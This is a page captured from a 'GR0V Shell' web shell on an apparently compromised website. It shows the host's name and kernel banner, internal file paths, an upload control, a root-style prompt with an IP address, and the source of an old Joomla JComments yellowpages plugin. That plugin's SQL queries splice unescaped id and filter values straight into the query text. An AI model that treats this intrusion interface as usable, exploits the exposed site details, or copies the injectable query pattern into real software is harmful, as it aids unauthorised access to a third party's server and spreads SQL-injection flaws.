? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/components/com_jcomments/plugins/
File Upload :
Current File : /home/admin/public_html/old/promice/components/com_jcomments/plugins/com_yellowpages.plugin.php

<?php
/**
 * JComments plugin for Yellowpages component objects support
 *
 * @version 1.4
 * @package JComments
 * @author tumtum (tumtum@mail.ru)
 * @license GNU/GPL: http://www.gnu.org/copyleft/gpl.html
 **/
(defined('_VALID_MOS') OR defined('_JEXEC')) or die('Direct Access to this location is not allowed.');

class jc_com_yellowpages extends JCommentsPlugin
{
	function getObjectTitle( $id )
	{
		global $database;

		$database->setQuery( "SELECT title FROM #__jyp_entries WHERE id='$id'");
		return $database->loadResult();
	}
 
	function getObjectLink( $id )
	{
		$_Itemid = JCommentsPlugin::getItemid( 'com_yellowpages' );

		$db = & JCommentsFactory::getDBO();
		$db->setQuery( 'SELECT catid FROM #__jyp_entries WHERE id = ' . $id );
		$catid = $db->loadResult();


		$link = sefRelToAbs( 'index.php?option=com_yellowpages&Itemid='. $_Itemid.'&task=view&catid='. $catid .'&id=' . $id );
		return $link;
	}

	function getCategories($filter = '')
	{
		$db = & JCommentsFactory::getDBO();

		$query = "SELECT id AS value, name AS text"
			. "\n FROM #__categories"
			. "\n WHERE section = 'com_yellowpages'"
			. "\n AND published = 1"
			. (($filter != '') ? "\n AND id IN ( ".$filter." )" : '')
			. "\n ORDER BY name"
			;
		$db->setQuery( $query );
		$rows = $db->loadObjectList();

		return $rows;
	}
}
?>

T1KUS90T
  root-grov@210.1.60.28:~$